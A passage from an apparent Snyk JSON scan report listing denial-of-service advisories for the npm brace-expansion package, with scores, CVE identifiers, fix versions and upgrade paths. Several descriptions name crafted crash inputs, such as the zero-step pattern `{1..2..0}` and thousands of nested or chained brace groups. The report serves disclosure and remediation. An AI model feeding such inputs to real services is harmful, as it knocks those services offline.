"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
